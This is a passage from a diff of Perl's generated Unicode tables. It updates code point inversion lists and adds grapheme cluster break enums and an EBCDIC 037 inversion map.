0xD6C5, + 0xD6E0, + 0xD6E1, + 0xD6FC, + 0xD6FD, + 0xD718, + 0xD719, + 0xD734, + 0xD735, + 0xD750, + 0xD751, + 0xD76C, + 0xD76D, + 0xD788, + 0xD789, 0xD7A4, 0xD7B0, 0xD7C7, 0xD7CB, 0xD7FC, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB50, - 0xFBB2, - 0xFBD3, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFC, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFF21, - 0xFF3B, - 0xFF41, - 0xFF5B, + 0xD800, + 0xE000, + 0xFB1E, + 0xFB1F, + 0xFE00, + 0xFE10, + 0xFE20, + 0xFE30, + 0xFEFF, + 0xFF00, + 0xFF9E, 0xFFA0, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10140, - 0x10175, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x10300, - 0x10320, - 0x1032D, - 0x1034B, - 0x10350, + 0xFFF0, + 0xFFFC, + 0x101FD, + 0x101FE, + 0x102E0, + 0x102E1, 0x10376, - 0x10380, - 0x1039E, - 0x103A0, - 0x103C4, - 0x103C8, - 0x103D0, - 0x103D1, - 0x103D6, - 0x10400, - 0x1049E, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10860, - 0x10877, - 0x10880, - 0x1089F, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x10900, - 0x10916, - 0x10920, - 0x1093A, - 0x10980, - 0x109B8, - 0x109BE, - 0x109C0, - 0x10A00, + 0x1037B, 0x10A01, + 0x10A04, + 0x10A05, + 0x10A07, + 0x10A0C, 0x10A10, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A60, - 0x10A7D, - 0x10A80, - 0x10A9D, - 0x10AC0, - 0x10AC8, - 0x10AC9, + 0x10A38, + 0x10A3B, + 0x10A3F, + 0x10A40, 0x10AE5, - 0x10B00, - 0x10B36, - 0x10B40, - 0x10B56, - 0x10B60, - 0x10B73, - 0x10B80, - 0x10B92, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, + 0x10AE7, + 0x11000, + 0x11001, + 0x11002, 0x11003, 0x11038, + 0x11047, + 0x1107F, + 0x11082, 0x11083, 0x110B0, - 0x110D0, - 0x110E9, + 0x110B3, + 0x110B7, + 0x110B9, + 0x110BB, + 0x110BD, + 0x110BE, + 0x11100, 0x11103, 0x11127, - 0x11150, + 0x1112C, + 0x1112D, + 0x11135, 0x11173, - 0x11176, - 0x11177, + 0x11174, + 0x11180, + 0x11182, 0x11183, 0x111B3, + 0x111B6, + 0x111BF, 0x111C1, - 0x111C5, - 0x111DA, - 0x111DB, - 0x111DC, - 0x111DD, - 0x11200, - 0x11212, - 0x11213, + 0x111C2, + 0x111C4, + 0x111CA, + 0x111CD, 0x1122C, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112A9, - 0x112B0, + 0x1122F, + 0x11232, + 0x11234, + 0x11235, + 0x11236, + 0x11238, + 0x1123E, + 0x1123F, 0x112DF, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, + 0x112E0, + 0x112E3, + 0x112EB, + 0x11300, + 0x11302, + 0x11304, + 0x1133C, 0x1133D, 0x1133E, - 0x11350, - 0x11351, - 0x1135D, + 0x1133F, + 0x11340, + 0x11341, + 0x11345, + 0x11347, + 0x11349, + 0x1134B, + 0x1134E, + 0x11357, + 0x11358, 0x11362, - 0x11400, + 0x11364, + 0x11366, + 0x1136D, + 0x11370, + 0x11375, 0x11435, + 0x11438, + 0x11440, + 0x11442, + 0x11445, + 0x11446, 0x11447, - 0x1144B, - 0x11480, 0x114B0, + 0x114B1, + 0x114B3, + 0x114B9, + 0x114BA, + 0x114BB, + 0x114BD, + 0x114BE, + 0x114BF, + 0x114C1, + 0x114C2, 0x114C4, - 0x114C6, - 0x114C7, - 0x114C8, - 0x11580, 0x115AF, - 0x115D8, + 0x115B0, + 0x115B2, + 0x115B6, + 0x115B8, + 0x115BC, + 0x115BE, + 0x115BF, + 0x115C1, 0x115DC, - 0x11600, + 0x115DE, 0x11630, - 0x11644, - 0x11645, - 0x11680, + 0x11633, + 0x1163B, + 0x1163D, + 0x1163E, + 0x1163F, + 0x11641, 0x116AB, - 0x118A0, - 0x118E0, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A01, - 0x11A0B, - 0x11A33, - 0x11A3A, - 0x11A3B, - 0x11A50, - 0x11A51, - 0x11A5C, - 0x11A84, - 0x11A86, - 0x11A8A, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, + 0x116AC, + 0x116AD, + 0x116AE, + 0x116B0, + 0x116B6, + 0x116B7, + 0x116B8, + 0x1171D, + 0x11720, + 0x11722, + 0x11726, + 0x11727, + 0x1172C, 0x11C2F, + 0x11C30, + 0x11C37, + 0x11C38, + 0x11C3E, + 0x11C3F, 0x11C40, - 0x11C41, - 0x11C72, - 0x11C90, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D31, - 0x11D46, - 0x11D47, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16AD0, - 0x16AEE, - 0x16B00, + 0x11C92, + 0x11CA8, + 0x11CA9, + 0x11CAA, + 0x11CB1, + 0x11CB2, + 0x11CB4, + 0x11CB5, + 0x11CB7, + 0x16AF0, + 0x16AF5, 0x16B30, - 0x16B40, - 0x16B44, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, + 0x16B37, 0x16F51, + 0x16F7F, + 0x16F8F, 0x16F93, - 0x16FA0, - 0x16FE0, - 0x16FE2, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D6C1, - 0x1D6C2, - 0x1D6DB, - 0x1D6DC, - 0x1D6FB, - 0x1D6FC, - 0x1D715, - 0x1D716, - 0x1D735, - 0x1D736, - 0x1D74F, - 0x1D750, - 0x1D76F, - 0x1D770, - 0x1D789, - 0x1D78A, - 0x1D7A9, - 0x1D7AA, - 0x1D7C3, - 0x1D7C4, - 0x1D7CC, - 0x1E800, - 0x1E8C5, - 0x1E900, + 0x1BC9D, + 0x1BC9F, + 0x1BCA0, + 0x1BCA4, + 0x1D165, + 0x1D166, + 0x1D167, + 0x1D16A, + 0x1D16D, + 0x1D16E, + 0x1D173, + 0x1D17B, + 0x1D183, + 0x1D185, + 0x1D18C, + 0x1D1AA, + 0x1D1AE, + 0x1D242, + 0x1D245, + 0x1DA00, + 0x1DA37, + 0x1DA3B, + 0x1DA6D, + 0x1DA75, + 0x1DA76, + 0x1DA84, + 0x1DA85, + 0x1DA9B, + 0x1DAA0, + 0x1DAA1, + 0x1DAB0, + 0x1E000, + 0x1E007, + 0x1E008, + 0x1E019, + 0x1E01B, + 0x1E022, + 0x1E023, + 0x1E025, + 0x1E026, + 0x1E02B, + 0x1E8D0, + 0x1E8D7, 0x1E944, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1F130, - 0x1F14A, - 0x1F150, - 0x1F16A, - 0x1F170, - 0x1F18A + 0x1E94B, + 0x1F1E6, + 0x1F200, + 0x1F385, + 0x1F386, + 0x1F3C3, + 0x1F3C5, + 0x1F3CA, + 0x1F3CC, + 0x1F3FB, + 0x1F400, + 0x1F442, + 0x1F444, + 0x1F446, + 0x1F451, + 0x1F466, + 0x1F46A, + 0x1F46E, + 0x1F46F, + 0x1F470, + 0x1F479, + 0x1F47C, + 0x1F47D, + 0x1F481, + 0x1F484, + 0x1F485, + 0x1F488, + 0x1F48B, + 0x1F48C, + 0x1F4AA, + 0x1F4AB, + 0x1F575, + 0x1F576, + 0x1F57A, + 0x1F57B, + 0x1F590, + 0x1F591, + 0x1F595, + 0x1F597, + 0x1F5E8, + 0x1F5E9, + 0x1F645, + 0x1F648, + 0x1F64B, + 0x1F650, + 0x1F6A3, + 0x1F6A4, + 0x1F6B4, + 0x1F6B7, + 0x1F6C0, + 0x1F6C1, + 0x1F918, + 0x1F91F, + 0x1F926, + 0x1F927, + 0x1F930, + 0x1F931, + 0x1F933, + 0x1F93A, + 0x1F93C, + 0x1F93F, + 0xE0000, + 0xE0020, + 0xE0080, + 0xE0100, + 0xE01F0, + 0xE1000 +}; + +#endif /* defined(PERL_IN_PERL_C) */ + +#if defined(PERL_IN_REGEXEC_C) + +#define GCB_ENUM_COUNT 19 + +typedef enum { + GCB_Other = 0, + GCB_CR = 1, + GCB_Control = 2, + GCB_E_Base = 3, + GCB_E_Base_GAZ = 4, + GCB_E_Modifier = 5, + GCB_Extend = 6, + GCB_Glue_After_Zwj = 7, + GCB_L = 8, + GCB_LF = 9, + GCB_LV = 10, + GCB_LVT = 11, + GCB_Prepend = 12, + GCB_Regional_Indicator = 13, + GCB_SpacingMark = 14, + GCB_T = 15, + GCB_V = 16, + GCB_ZWJ = 17, + GCB_EDGE = 18 +} GCB_enum; + +static const GCB_enum _Perl_GCB_invmap[] = { /* for EBCDIC 037 */ + GCB_Control, + GCB_CR, + GCB_Control, + GCB_LF, + GCB_Control, + GCB_Other, + GCB_Control, + GCB_Other, + GCB_Control, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Prepend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Control, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Prepend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Prepend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Prepend, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_SpacingMark, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_Prepend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_L, + GCB_V, + GCB_T, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Control, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Control, + GCB_Extend, + GCB_ZWJ, + GCB_Control, + GCB_Other, + GCB_Control, + GCB_Other, + GCB_Control, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_Glue_After_Zwj, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_SpacingMark, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_L, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + 